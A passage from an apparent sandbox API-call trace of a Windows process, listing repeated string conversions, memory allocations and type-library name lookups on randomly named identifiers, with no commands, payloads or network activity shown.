lpMultiByteStr=0xbb7a57a, cbMultiByte=10, lpWideCharStr=0xd491138, cchWideChar=22 | out: lpWideCharStr="jGanIRNQXQ") returned 10 [0019.132] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0xbb7a58e, cbMultiByte=10, lpWideCharStr=0xd4912e2, cchWideChar=22 | out: lpWideCharStr="KZPDmtJJaM") returned 10 [0019.133] strcpy_s (in: _Dst=0x305060, _DstSize=0x6, _Src="PNDnn" | out: _Dst="PNDnn") returned 0x0 [0019.133] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x305060, cbMultiByte=6, lpWideCharStr=0x304eb0, cchWideChar=6 | out: lpWideCharStr="PNDnn") returned 6 [0019.133] IUnknown:AddRef (This=0x7919520) returned 0x11 [0019.133] ITypeLib:RemoteIsName (in: This=0x7919520, szNameBuf="PNDnn", lHashVal=0x10be93, pfName=0x304f80, pBstrLibName=0x304eb0 | out: pfName=0x304f80*=0, pBstrLibName=0x304eb0) returned 0x0 [0019.133] IUnknown:Release (This=0x7919520) returned 0x10 [0019.133] IUnknown:AddRef (This=0x7346470) returned 0xc [0019.133] ITypeLib:RemoteIsName (in: This=0x7346470, szNameBuf="PNDnn", lHashVal=0x10be93, pfName=0x304f80, pBstrLibName=0x304eb0 | out: pfName=0x304f80*=0, pBstrLibName=0x304eb0) returned 0x0 [0019.133] IUnknown:Release (This=0x7346470) returned 0xb [0019.133] IUnknown:AddRef (This=0x7345930) returned 0x8 [0019.133] ITypeLib:RemoteIsName (in: This=0x7345930, szNameBuf="PNDnn", lHashVal=0x10be93, pfName=0x304f80, pBstrLibName=0x304eb0 | out: pfName=0x304f80*=0, pBstrLibName=0x304eb0) returned 0x0 [0019.133] IUnknown:Release (This=0x7345930) returned 0x7 [0019.133] IUnknown:AddRef (This=0x7919ac0) returned 0x5 [0019.133] ITypeLib:RemoteIsName (in: This=0x7919ac0, szNameBuf="PNDnn", lHashVal=0x10be93, pfName=0x304f80, pBstrLibName=0x304eb0 | out: pfName=0x304f80*=0, pBstrLibName=0x304eb0) returned 0x0 [0019.133] IUnknown:Release (This=0x7919ac0) returned 0x4 [0019.133] strcpy_s (in: _Dst=0x305210, _DstSize=0xd, _Src="_B_var_PNDnn" | out: _Dst="_B_var_PNDnn") returned 0x0 [0019.133] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x305210, cbMultiByte=13, lpWideCharStr=0x305060, cchWideChar=13 | out: lpWideCharStr="_B_var_PNDnn") returned 13 [0019.133] IUnknown:AddRef (This=0x7919520) returned 0x11 [0019.133] ITypeLib:RemoteIsName (in: This=0x7919520, szNameBuf="_B_var_PNDnn", lHashVal=0x108280, pfName=0x305130, pBstrLibName=0x305060 | out: pfName=0x305130*=0, pBstrLibName=0x305060) returned 0x0 [0019.133] IUnknown:Release (This=0x7919520) returned 0x10 [0019.133] IUnknown:AddRef (This=0x7346470) returned 0xc [0019.133] ITypeLib:RemoteIsName (in: This=0x7346470, szNameBuf="_B_var_PNDnn", lHashVal=0x108280, pfName=0x305130, pBstrLibName=0x305060 | out: pfName=0x305130*=0, pBstrLibName=0x305060) returned 0x0 [0019.133] IUnknown:Release (This=0x7346470) returned 0xb [0019.133] IUnknown:AddRef (This=0x7345930) returned 0x8 [0019.133] ITypeLib:RemoteIsName (in: This=0x7345930, szNameBuf="_B_var_PNDnn", lHashVal=0x108280, pfName=0x305130, pBstrLibName=0x305060 | out: pfName=0x305130*=0, pBstrLibName=0x305060) returned 0x0 [0019.133] IUnknown:Release (This=0x7345930) returned 0x7 [0019.133] IUnknown:AddRef (This=0x7919ac0) returned 0x5 [0019.133] ITypeLib:RemoteIsName (in: This=0x7919ac0, szNameBuf="_B_var_PNDnn", lHashVal=0x108280, pfName=0x305130, pBstrLibName=0x305060 | out: pfName=0x305130*=0, pBstrLibName=0x305060) returned 0x0 [0019.133] IUnknown:Release (This=0x7919ac0) returned 0x4 [0019.133] IUnknown:AddRef (This=0x7919520) returned 0x11 [0019.133] IUnknown:Release (This=0x7919520) returned 0x10 [0019.133] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0xbb7a5c6, cbMultiByte=10, lpWideCharStr=0xd493b9e, cchWideChar=22 | out: lpWideCharStr="hddhGcQwis") returned 10 [0019.133] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0xbb7a5da, cbMultiByte=10, lpWideCharStr=0xd493d48, cchWideChar=22 | out: lpWideCharStr="FEvqZVtjBG") returned 10 [0019.134] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0xbb7a5ee, cbMultiByte=10, lpWideCharStr=0xd493ef2, cchWideChar=22 | out: lpWideCharStr="qjfhcOFjOv") returned 10 [0019.134] VirtualAlloc (lpAddress=0x0, dwSize=0x4000, flAllocationType=0x1000, flProtect=0x4) returned 0xd4a0000 [0019.135] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0xbb7a602, cbMultiByte=10, lpWideCharStr=0xd4a00a4, cchWideChar=22 | out: lpWideCharStr="mvmddQohdj") returned 10 [0019.135] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0xbb7a616, cbMultiByte=10, lpWideCharStr=0xd4a024e, cchWideChar=22 | out: lpWideCharStr="lXqVWXtjff") returned 10 [0019.135] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0xbb7a62a, cbMultiByte=10, lpWideCharStr=0xd4a03f8, cchWideChar=22 | out: lpWideCharStr="lNzYswzwEs") returned 10 [0019.135] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0xbb7a63e, cbMultiByte=10, lpWideCharStr=0xd4a05a2, cchWideChar=22 | out: lpWideCharStr="WjknGJRRNI") returned 10 [0019.135] strcpy_s (in: _Dst=0x305060, _DstSize=0x8, _Src="vqTWrbB" | out: _Dst="vqTWrbB") returned 0x0 [0019.135] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x305060, cbMultiByte=8, lpWideCharStr=0x304eb0, cchWideChar=8 | out: lpWideCharStr="vqTWrbB") returned 8 [0019.135] IUnknown:AddRef (This=0x7919520) returned 0x11 [0019.135] ITypeLib:RemoteIsName (in: This=0x7919520, szNameBuf="vqTWrbB", lHashVal=0x1078d3, pfName=0x304f80, pBstrLibName=0x304eb0 | out: pfName=0x304f80*=0, pBstrLibName=0x304eb0) returned 0x0 [0019.135] IUnknown:Release (This=0x7919520) returned 0x10 [0019.135] IUnknown:AddRef (This=0x7346470) returned 0xc [0019.135] ITypeLib:RemoteIsName (in: This=0x7346470, szNameBuf="vqTWrbB", lHashVal=0x1078d3, pfName=0x304f80, pBstrLibName=0x304eb0 | out: pfName=0x304f80*=0, pBstrLibName=0x304eb0) returned 0x0 [0019.135] IUnknown:Release (This=0x7346470) returned 0xb [0019.135] IUnknown:AddRef (This=0x7345930) returned 0x8 [0019.135] ITypeLib:RemoteIsName (in: This=0x7345930, szNameBuf="vqTWrbB", lHashVal=0x1078d3, pfName=0x304f80, pBstrLibName=0x304eb0 | out: pfName=0x304f80*=0, pBstrLibName=0x304eb0) returned 0x0 [0019.135] IUnknown:Release (This=0x7345930) returned 0x7 [0019.135] IUnknown:AddRef (This=0x7919ac0) returned 0x5 [0019.135] ITypeLib:RemoteIsName (in: This=0x7919ac0, szNameBuf="vqTWrbB", lHashVal=0x1078d3, pfName=0x304f80, pBstrLibName=0x304eb0 | out: pfName=0x304f80*=0, pBstrLibName=0x304eb0) returned 0x0 [0019.136] IUnknown:Release (This=0x7919ac0) returned 0x4 [0019.136] strcpy_s (in: _Dst=0x305210, _DstSize=0xf, _Src="_B_var_vqTWrbB" | out: _Dst="_B_var_vqTWrbB") returned 0x0 [0019.136] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x305210, cbMultiByte=15, lpWideCharStr=0x305060, cchWideChar=15 | out: lpWideCharStr="_B_var_vqTWrbB") returned 15 [0019.136] IUnknown:AddRef (This=0x7919520) returned 0x11 [0019.136] ITypeLib:RemoteIsName (in: This=0x7919520, szNameBuf="_B_var_vqTWrbB", lHashVal=0x107c57, pfName=0x305130, pBstrLibName=0x305060 | out: pfName=0x305130*=0, pBstrLibName=0x305060) returned 0x0 [0019.136] IUnknown:Release (This=0x7919520) returned 0x10 [0019.136] IUnknown:AddRef (This=0x7346470) returned 0xc [0019.136] ITypeLib:RemoteIsName (in: This=0x7346470, szNameBuf="_B_var_vqTWrbB", lHashVal=0x107c57, pfName=0x305130, pBstrLibName=0x305060 | out: pfName=0x305130*=0, pBstrLibName=0x305060) returned 0x0 [0019.136] IUnknown:Release (This=0x7346470) returned 0xb [0019.136] IUnknown:AddRef (This=0x7345930) returned 0x8 [0019.136] ITypeLib:RemoteIsName (in: This=0x7345930, szNameBuf="_B_var_vqTWrbB", lHashVal=0x107c57, pfName=0x305130, pBstrLibName=0x305060 | out: pfName=0x305130*=0, pBstrLibName=0x305060) returned 0x0 [0019.136] IUnknown:Release (This=0x7345930) returned 0x7 [0019.136] IUnknown:AddRef (This=0x7919ac0) returned 0x5 [0019.136] ITypeLib:RemoteIsName (in: This=0x7919ac0, szNameBuf="_B_var_vqTWrbB", lHashVal=0x107c57, pfName=0x305130, pBstrLibName=0x305060 | out: pfName=0x305130*=0, pBstrLibName=0x305060) returned 0x0 [0019.136] IUnknown:Release (This=0x7919ac0) returned 0x4 [0019.136] IUnknown:AddRef (This=0x7919520) returned 0x11 [0019.136] IUnknown:Release (This=0x7919520) returned 0x10 [0019.136] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0xbb7a676, cbMultiByte=10, lpWideCharStr=0xd4a2e5e, cchWideChar=22 | out: lpWideCharStr="pqSjuRsnBi") returned 10 [0019.137] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0xbb7a68a, cbMultiByte=10, lpWideCharStr=0xd4a3008, cchWideChar=22 | out: lpWideCharStr="CDRsTwsVIK") returned 10 [0019.137] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0xbb7a69e, cbMultiByte=10, lpWideCharStr=0xd4a31b2, cchWideChar=22 | out: lpWideCharStr="hGGEBsNOzw") returned 10 [0019.137] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0xbb7a6b2, cbMultiByte=10, lpWideCharStr=0xd4a335c, cchWideChar=22 | out: lpWideCharStr="wKwYuYwbQH") returned 10 [0019.137] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0xbb7a6c6, cbMultiByte=10, lpWideCharStr=0xd4a3506, cchWideChar=22 | out: lpWideCharStr="mTbhFOUhOC") returned 10 [0019.137] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0xbb7a6da, cbMultiByte=10, lpWideCharStr=0xd4a36b0, cchWideChar=22 | out: lpWideCharStr="JZjWdikOhB") returned 10 [0019.137] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0xbb7a6ee, cbMultiByte=10, lpWideCharStr=0xd4a385a, cchWideChar=22 | out: lpWideCharStr="EinFjrFswu") returned 10 [0019.137] VirtualAlloc (lpAddress=0x0, dwSize=0x4000, flAllocationType=0x1000, flProtect=0x4) returned 0xd4b0000 [0019.138] strcpy_s (in: _Dst=0x305060, _DstSize=0x8, _Src="LFBUpri" | out: _Dst="LFBUpri") returned 0x0 [0019.138] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x305060, cbMultiByte=8, lpWideCharStr=0x304eb0, cchWideChar=8 | out: lpWideCharStr="LFBUpri") returned 8 [0019.138] IUnknown:AddRef (This=0x7919520) returned 0x11 [0019.138] ITypeLib:RemoteIsName (in: This=0x7919520, szNameBuf="LFBUpri", lHashVal=0x1000ad, pfName=0x304f80, pBstrLibName=0x304eb0 | out: pfName=0x304f80*=0, pBstrLibName=0x304eb0) returned 0x0 [0019.138] IUnknown:Release (This=0x7919520) returned 0x10 [0019.138] IUnknown:AddRef (This=0x7346470) returned 0xc [0019.138] ITypeLib:RemoteIsName (in: This=0x7346470, szNameBuf="LFBUpri", lHashVal=0x1000ad, pfName=0x304f80, pBstrLibName=0x304eb0 | out: pfName=0x304f80*=0, pBstrLibName=0x304eb0) returned 0x0 [0019.138] IUnknown:Release (This=0x7346470) returned 0xb [0019.138] IUnknown:AddRef (This=0x7345930) returned 0x8 [0019.138] ITypeLib:RemoteIsName (in: This=0x7345930, szNameBuf="LFBUpri", lHashVal=0x1000ad, pfName=0x304f80, pBstrLibName=0x304eb0 | out: pfName=0x304f80*=0, pBstrLibName=0x304eb0) returned 0x0 [0019.138] IUnknown:Release (This=0x7345930) returned 0x7 [0019.138] IUnknown:AddRef (This=0x7919ac0) returned 0x5 [0019.138] ITypeLib:RemoteIsName (in: This=0x7919ac0, szNameBuf="LFBUpri", lHashVal=0x1000ad, pfName=0x304f80, pBstrLibName=0x304eb0 | out: pfName=0x304f80*=0, pBstrLibName=0x304eb0) returned 0x0 [0019.139] IUnknown:Release (This=0x7919ac0) returned 0x4 [0019.139] strcpy_s (in: _Dst=0x305210, _DstSize=0xf, _Src="_B_var_LFBUpri" | out: _Dst="_B_var_LFBUpri") returned 0x0 [0019.139] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x305210, cbMultiByte=15, lpWideCharStr=0x305060, cchWideChar=15 | out: lpWideCharStr="_B_var_LFBUpri") returned 15 [0019.139] IUnknown:AddRef (This=0x7919520) returned 0x11 [0019.139] ITypeLib:RemoteIsName (in: This=0x7919520, szNameBuf="_B_var_LFBUpri", lHashVal=0x100431, pfName=0x305130, pBstrLibName=0x305060 | out: pfName=0x305130*=0, pBstrLibName=0x305060) returned 0x0 [0019.139] IUnknown:Release (This=0x7919520) returned 0x10 [0019.139] IUnknown:AddRef (This=0x7346470) returned 0xc [0019.139] ITypeLib:RemoteIsName (in: This=0x7346470, szNameBuf="_B_var_LFBUpri", lHashVal=0x100431, pfName=0x305130, pBstrLibName=0x305060 | out: pfName=0x305130*=0, pBstrLibName=0x305060) returned 0x0 [0019.139] IUnknown:Release (This=0x7346470) returned 0xb [0019.139] IUnknown:AddRef (This=0x7345930) returned 0x8 [0019.139] ITypeLib:RemoteIsName (in: This=0x7345930, szNameBuf="_B_var_LFBUpri", lHashVal=0x100431, pfName=0x305130, pBstrLibName=0x305060 | out: pfName=0x305130*=0, pBstrLibName=0x305060) returned 0x0 [0019.139] IUnknown:Release (This=0x7345930) returned 0x7 [0019.139] IUnknown:AddRef (This=0x7919ac0) returned 0x5 [0019.139] ITypeLib:RemoteIsName (in: This=0x7919ac0, szNameBuf="_B_var_LFBUpri", lHashVal=0x100431, pfName=0x305130, pBstrLibName=0x305060 | out: pfName=0x305130*=0, pBstrLibName=0x305060) returned 0x0 [0019.139] IUnknown:Release (This=0x7919ac0) returned 0x4 [0019.139] IUnknown:AddRef (This=0x7919520) returned 0x11 [0019.139] IUnknown:Release (This=0x7919520) returned 0x10 [0019.139] strcpy_s (in: _Dst=0x305060, _DstSize=0x9, _Src="OYcpboSJ" | out: _Dst="OYcpboSJ") returned 0x0 [0019.139] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x305060, cbMultiByte=9, lpWideCharStr=0x304eb0, cchWideChar=9 | out: lpWideCharStr="OYcpboSJ") returned 9 [0019.139] IUnknown:AddRef (This=0x7919520) returned 0x11 [0019.139] ITypeLib:RemoteIsName (in: This=0x7919520, szNameBuf="OYcpboSJ", lHashVal=0x1027a4, pfName=0x304f80, pBstrLibName=0x304eb0 | out: pfName=0x304f80*=0, pBstrLibName=0x304eb0) returned 0x0 [0019.139] IUnknown:Release (This=0x7919520) returned 0x10 [0019.139] IUnknown:AddRef (This=0x7346470) returned 0xc [0019.139] ITypeLib:RemoteIsName (in: This=0x7346470, szNameBuf="OYcpboSJ", lHashVal=0x1027a4, pfName=0x304f80, pBstrLibName=0x304eb0 | out: pfName=0x304f80*=0, pBstrLibName=0x304eb0) returned 0x0 [0019.139] IUnknown:Release (This=0x7346470) returned 0xb [0019.139] IUnknown:AddRef (This=0x7345930) returned 0x8 [0019.139] ITypeLib:RemoteIsName (in: This=0x7345930, szNameBuf="OYcpboSJ", lHashVal=0x1027a4, pfName=0x304f80, pBstrLibName=0x304eb0 | out: pfName=0x304f80*=0, pBstrLibName=0x304eb0) returned 0x0 [0019.139] IUnknown:Release (This=0x7345930) returned 0x7 [0019.139] IUnknown:AddRef (This=0x7919ac0) returned 0x5 [0019.139] ITypeLib:RemoteIsName (in: This=0x7919ac0, szNameBuf="OYcpboSJ", lHashVal=0x1027a4, pfName=0x304f80, pBstrLibName=0x304eb0 | out: pfName=0x304f80*=0, pBstrLibName=0x304eb0) returned 0x0 [0019.139] IUnknown:Release (This=0x7919ac0) returned 0x4 [0019.139] strcpy_s (in: _Dst=0x305210, _DstSize=0x10, _Src="_B_var_OYcpboSJ" | out: _Dst="_B_var_OYcpboSJ") returned 0x0 [0019.139] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x305210, cbMultiByte=16, lpWideCharStr=0x305060, cchWideChar=16 | out: lpWideCharStr="_B_var_OYcpboSJ") returned 16 [0019.139] IUnknown:AddRef (This=0x7919520) returned 0x11 [0019.139] ITypeLib:RemoteIsName (in: This=0x7919520, szNameBuf="_B_var_OYcpboSJ", lHashVal=0x10ff6c, pfName=0x305130, pBstrLibName=0x305060 | out: pfName=0x305130*=0, pBstrLibName=0x305060) returned 0x0 [0019.139] IUnknown:Release (This=0x7919520) returned 0x10 [0019.139] IUnknown:AddRef (This=0x7346470) returned 0xc [0019.140] ITypeLib:RemoteIsName (in: This=0x7346470, szNameBuf="_B_var_OYcpboSJ", lHashVal=0x10ff6c, pfName=0x305130, pBstrLibName=0x305060 | out: pfName=0x305130*=0, pBstrLibName=0x305060) returned 0x0 [0019.140] IUnknown:Release (This=0x7346470) returned 0xb [0019.140] IUnknown:AddRef (This=0x7345930) returned 0x8 [0019.140] ITypeLib:RemoteIsName (in: This=0x7345930, szNameBuf="_B_var_OYcpboSJ", lHashVal=0x10ff6c, pfName=0x305130, pBstrLibName=0x305060 | out: pfName=0x305130*=0, pBstrLibName=0x305060) returned 0x0 [0019.140] IUnknown:Release (This=0x7345930) returned 0x7 [0019.140] IUnknown:AddRef (This=0x7919ac0) returned 0x5 [0019.140] ITypeLib:RemoteIsName (in: This=0x7919ac0, szNameBuf="_B_var_OYcpboSJ", lHashVal=0x10ff6c, pfName=0x305130, pBstrLibName=0x305060 | out: pfName=0x305130*=0, pBstrLibName=0x305060) returned 0x0 [0019.140] IUnknown:Release (This=0x7919ac0) returned 0x4 [0019.140] IUnknown:AddRef (This=0x7919520) returned 0x11 [0019.140] IUnknown:Release (This=0x7919520) returned 0x10 [0019.140] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0xbb7a74e, cbMultiByte=10, lpWideCharStr=0xd4b2e50, cchWideChar=22 | out: lpWideCharStr="UVBiJYwOkf") returned 10 [0019.140] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0xbb7a762, cbMultiByte=10, lpWideCharStr=0xd4b2ffa, cchWideChar=22 | out: lpWideCharStr="SsckJBnDPM") returned 10 [0019.140] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0xbb7a776, cbMultiByte=10, lpWideCharStr=0xd4b31a4, cchWideChar=22 | out: lpWideCharStr="GbWWzZJiDZ") returned 10 [0019.140] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0xbb7a78a, cbMultiByte=10, lpWideCharStr=0xd4b334e, cchWideChar=22 | out: lpWideCharStr="GnlAXBiBdh") returned 10 [0019.140] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0xbb7a79e, cbMultiByte=10, lpWideCharStr=0xd4b34f8, cchWideChar=22 | out: lpWideCharStr="NDjhpojSMU") returned 10 [0019.140] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0xbb7a7b2, cbMultiByte=10, lpWideCharStr=0xd4b36a2, cchWideChar=22 | out: lpWideCharStr="fovwwszijk") returned 10 [0019.140] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0xbb7a7c6, cbMultiByte=10, lpWideCharStr=0xd4b384c, cchWideChar=22 | out: lpWideCharStr="ORKLZfGcMH") returned 10 [0019.141] VirtualAlloc (lpAddress=0x0, dwSize=0x4000, flAllocationType=0x1000, flProtect=0x4) returned 0xd4c0000 [0019.142] strcpy_s (in: _Dst=0x305060, _DstSize=0xc, _Src="WTLMnHvbonT" | out: _Dst="WTLMnHvbonT") returned 0x0 [0019.142] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x305060, cbMultiByte=12, lpWideCharStr=0x304eb0, cchWideChar=12 | out: lpWideCharStr="WTLMnHvbonT") returned 12 [0019.142] IUnknown:AddRef (This=0x7919520) returned 0x11 [0019.142] ITypeLib:RemoteIsName (in: This=0x7919520, szNameBuf="WTLMnHvbonT", lHashVal=0x107e27, pfName=0x304f80, pBstrLibName=0x304eb0 | out: pfName=0x304f80*=0, pBstrLibName=0x304eb0) returned 0x0 [0019.142] IUnknown:Release (This=0x7919520) returned 0x10 [0019.142] IUnknown:AddRef (This=0x7346470) returned 0xc [0019.142] ITypeLib:RemoteIsName (in: This=0x7346470, szNameBuf="WTLMnHvbonT", lHashVal=0x107e27, pfName=0x304f80, pBstrLibName=0x304eb0 | out: pfName=0x304f80*=0, pBstrLibName=0x304eb0) returned 0x0 [0019.142] IUnknown:Release (This=0x7346470) returned 0xb [0019.142] IUnknown:AddRef (This=0x7345930) returned 0x8 [0019.142] ITypeLib:RemoteIsName (in: This=0x7345930, szNameBuf="WTLMnHvbonT", lHashVal=0x107e27, pfName=0x304f80, pBstrLibName=0x304eb0 | out: pfName=0x304f80*=0, pBstrLibName=0x304eb0) returned 0x0 [0019.142] IUnknown:Release (This=0x7345930) returned 0x7 [0019.142] IUnknown:AddRef (This=0x7919ac0) returned 0x5 [0019.142] ITypeLib:RemoteIsName (in: This=0x7919ac0, szNameBuf="WTLMnHvbonT", lHashVal=0x107e27, pfName=0x304f80, pBstrLibName=0x304eb0 | out: pfName=0x304f80*=0, pBstrLibName=0x304eb0) returned 0x0 [0019.142] IUnknown:Release (This=0x7919ac0) returned 0x4 [0019.142] VirtualAlloc (lpAddress=0x9df1000, dwSize=0x1000, flAllocationType=0x1000, flProtect=0x4) returned 0x9df1000 [0019.143] strcpy_s (in: _Dst=0x305210, _DstSize=0x13, _Src="_B_var_WTLMnHvbonT" | out: _Dst="_B_var_WTLMnHvbonT") returned 0x0 [0019.143] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x305210, cbMultiByte=19, lpWideCharStr=0x305060, cchWideChar=19 | out: lpWideCharStr="_B_var_WTLMnHvbonT") returned 19 [0019.143] IUnknown:AddRef (This=0x7919520) returned 0x11 [0019.143] ITypeLib:RemoteIsName (in: This=0x7919520, szNameBuf="_B_var_WTLMnHvbonT", lHashVal=0x106008, pfName=0x305130, pBstrLibName=0x305060 | out: pfName=0x305130*=0, pBstrLibName=0x305060) returned 0x0 [0019.143] IUnknown:Release (This=0x7919520) returned 0x10 [0019.143] IUnknown:AddRef (This=0x7346470) returned 0xc [0019.143] ITypeLib:RemoteIsName (in: This=0x7346470, szNameBuf="_B_var_WTLMnHvbonT", lHashVal=0x106008, pfName=0x305130, pBstrLibName=0x305060 | out: pfName=0x305130*=0, pBstrLibName=0x305060) returned 0x0 [0019.143] IUnknown:Release (This=0x7346470) returned 0xb [0019.143] IUnknown:AddRef (This=0x7345930) returned 0x8 [0019.143] ITypeLib:RemoteIsName (in: This=0x7345930, szNameBuf="_B_var_WTLMnHvbonT", lHashVal=0x106008, pfName=0x305130, pBstrLibName=0x305060 | out: pfName=0x305130*=0, pBstrLibName=0x305060) returned 0x0 [0019.143] IUnknown:Release (This=0x7345930) returned 0x7 [0019.143] IUnknown:AddRef (This=0x7919ac0) returned 0x5 [0019.143] ITypeLib:RemoteIsName (in: This=0x7919ac0, szNameBuf="_B_var_WTLMnHvbonT", lHashVal=0x106008, pfName=0x305130, pBstrLibName=0x305060 | out: pfName=0x305130*=0, pBstrLibName=0x305060) returned 0x0 [0019.143] IUnknown:Release (This=0x7919ac0) returned 0x4 [0019.143] IUnknown:AddRef (This=0x7919520) returned 0x11 [0019.143] IUnknown:Release (This=0x7919520) returned 0x10 [0019.143] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0xbb7a7fe, cbMultiByte=10, lpWideCharStr=0xd4c2116, cchWideChar=22 | out: lpWideCharStr="XjzzmZdbvL") returned 10 [0019.143] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0xbb7a812, cbMultiByte=10, lpWideCharStr=0xd4c22c0, cchWideChar=22 | out: lpWideCharStr="njuODIfVBN") returned 10 [0019.143] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0xbb7a826, cbMultiByte=10, lpWideCharStr=0xd4c246a, cchWideChar=22 | out: lpWideCharStr="IcjTEsUfwP") returned 10 [0019.143] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0xbb7a83a, cbMultiByte=10, lpWideCharStr=0xd4c2614, cchWideChar=22 | out: lpWideCharStr="CMQudXiqSH") returned 10 [0019.144] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0xbb7a84e, cbMultiByte=10, lpWideCharStr=0xd4c27be, cchWideChar=22 | out: lpWideCharStr="OizmHNWqwP") returned 10 [0019.144] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0xbb7a862, cbMultiByte=10, lpWideCharStr=0xd4c2968, cchWideChar=22 | out: lpWideCharStr="iJWkivzjsu") returned 10 [0019.144] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0xbb7a876, cbMultiByte=10, lpWideCharStr=0xd4c2b12, cchWideChar=22 | out: lpWideCharStr="FwdfIaTzkf") returned 10 [0019.144] VirtualAlloc (lpAddress=0x0, dwSize=0x4000, flAllocationType=0x1000, flProtect=0x4) returned 0xd4d0000 [0019.145] strcpy_s (in: _Dst=0x305060, _DstSize=0x9, _Src="ArtVcUjX" | out: _Dst="ArtVcUjX") returned 0x0 [0019.145] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x305060, cbMultiByte=9, lpWideCharStr=0x304eb0, cchWideChar=9 | out: lpWideCharStr="ArtVcUjX") returned 9 [0019.145] IUnknown:AddRef (This=0x7919520) returned 0x11 [0019.145] ITypeLib:RemoteIsName (in: This=0x7919520, szNameBuf="ArtVcUjX", lHashVal=0x104821, pfName=0x304f80, pBstrLibName=0x304eb0 | out: pfName=0x304f80*=0, pBstrLibName=0x304eb0) returned 0x0 [0019.145] IUnknown:Release (This=0x7919520) returned 0x10 [0019.145] IUnknown:AddRef (This=0x7346470) returned 0xc [0019.145] ITypeLib:RemoteIsName (in: This=0x7346470, szNameBuf="ArtVcUjX", lHashVal=0x104821, pfName=0x304f80, pBstrLibName=0x304eb0 | out: pfName=0x304f80*=0, pBstrLibName=0x304eb0) returned 0x0 [0019.145] IUnknown:Release (This=0x7346470) returned 0xb [0019.145] IUnknown:AddRef (This=0x7345930) returned 0x8 [0019.145] ITypeLib:RemoteIsName (in: This=0x7345930, szNameBuf="ArtVcUjX", lHashVal=0x104821, pfName=0x304f80, pBstrLibName=0x304eb0 | out: pfName=0x304f80*=0, pBstrLibName=0x304eb0) returned 0x0 [0019.145] IUnknown:Release (This=0x7345930) returned 0x7 [0019.145] IUnknown:AddRef (This=0x7919ac0) returned 0x5 [0019.145] ITypeLib:RemoteIsName (in: This=0x7919ac0, szNameBuf="ArtVcUjX", lHashVal=0x104821, pfName=0x304f80, pBstrLibName=0x304eb0 | out: pfName=0x304f80*=0, pBstrLibName=0x304eb0) returned 0x0 [0019.145] IUnknown:Release (This=0x7919ac0) returned 0x4 [0019.145] strcpy_s (in: _Dst=0x305210, _DstSize=0x10, _Src="_B_var_ArtVcUjX" | out: _Dst="_B_var_ArtVcUjX") returned 0x0 [0019.145] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x305210, cbMultiByte=16, lpWideCharStr=0x305060, cchWideChar=16 | out: lpWideCharStr="_B_var_ArtVcUjX") returned 16 [0019.145] IUnknown:AddRef (This=0x7919520) returned 0x11 [0019.145] ITypeLib:RemoteIsName (in: This=0x7919520, szNameBuf="_B_var_ArtVcUjX", lHashVal=0x101029, pfName=0x305130, pBstrLibName=0x305060 | out: pfName=0x305130*=0, pBstrLibName=0x305060) returned 0x0 [0019.145] IUnknown:Release (This=0x7919520) returned 0x10 [0019.145] IUnknown:AddRef (This=0x7346470) returned 0xc [0019.145] ITypeLib:RemoteIsName (in: This=0x7346470, szNameBuf="_B_var_ArtVcUjX", lHashVal=0x101029, pfName=0x305130, pBstrLibName=0x305060 | out: pfName=0x305130*=0, pBstrLibName=0x305060) returned 0x0 [0019.145] IUnknown:Release (This=0x7346470) returned 0xb [0019.145] IUnknown:AddRef (This=0x7345930) returned 